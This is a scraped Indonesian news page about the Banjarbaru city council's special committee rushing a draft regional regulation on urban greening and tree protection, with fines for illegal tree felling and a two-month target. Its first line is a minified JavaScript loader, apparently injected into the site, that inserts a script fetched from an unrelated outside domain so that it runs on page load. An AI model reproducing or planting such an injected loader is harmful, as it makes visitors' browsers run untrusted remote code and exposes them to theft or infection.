(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Cuma Dua Bulan, DPRD Banjarbaru ‘Kebut’ Raperda Penghijauan Kota


KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) DPRD Banjarbaru mulai melakukan pembahasan Rancangan Peraturan Daerah (Raperda) tentang penghijauan kota dan perlindungan pohon.

Raperda yang baru saja diusulkan tersebut dikebut pembahasannya. Raperda ini sendiri merupakan inisiatif langsung dari para wakil rakyat di DPRD Banjarbaru.

Pansus yang bertugas untuk menggodok raperda soal lingkungan ini diketuai Takyin Baskoro. Menurut Takyin Baskoro, Raperda ini merupakan wujud keinginan untuk tetap menjaga kualitas lingkungan Banjarbaru.

“Menjaga kualitas lingkungan kota itu harus dilakukan secara terus menerus. Bagaimana cara kita membuat sebuah kota itu tampak hijau, sejuk, indah. Salah satu caranya, dengan membuat payung hukum. Nah, untuk itu Raperda ini kita secepatnya bahas untuk selanjutnya disahkan menjadi Perda,” kata Ketua Komisi III DPRD Banjarbaru.

Penting adanya payung hukum yang mengatur soal lingkungan. Hal itu diakui Baskoro, lantaran Banjarbaru adalah kota yang terus tumbuh mengalami perkembangan. Semakin meningkatnya pertumbuhan infrastuktur, menurutnya bersamaan juga dengan semakin sempitnya lahan hijau yang tersedia.

“Kita ingin membawa Banjarbaru ke depannya bisa seperti kota-kota besar seperti Surabaya dan Jakarta. Mereka punya Perda yang khusus menjaga dan melindungi lingkungannya, inilah yang kita terapkan di sini,” ujar legislator Partai Nasdem itu.

Terakhir, Baskoro juga menuturkan, salah satu kekuatasan terbesar Perda ini ialah memuat sanksi kepada orang yang tak bertanggungjawab terhadap keberlangsungan dan kelestarian lingkungan. Pihaknya ingin meluruskan siapa SKPD yang bertanggung jawab untuk program penghijauan di wilayah Banjarbaru.

“Jadi Perda ini akan memuat sanksi penebangan pohon ilegal di Banjarbaru. Untuk sanksi kebanyakan denda. Nah, nominal denda masih kita bahas dan tentunya disesuaikan dengan kemampuan daerah. Kita targetkan Raperda ini disahkan menjadi Perda dalam dua bulan ke depan,” lugasnya. (kanalkalimantan.com/rico)

Reporter:rico

Editor: bie


Al Ghifari

Recent Posts

Nenek Jumiati Haru Rumah Tinggalnya Diperbaiki TNI

KANALKALIMANTAN.COM, AMUNTAI - Nenek Jumiati, warga Desa Hambuku Hulu, Kecamatan Sungai Pandan, Kabupaten Hulu Sungai… Read More

19 menit ago

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

6 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

6 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

7 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

18 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

18 jam ago

This website uses cookies.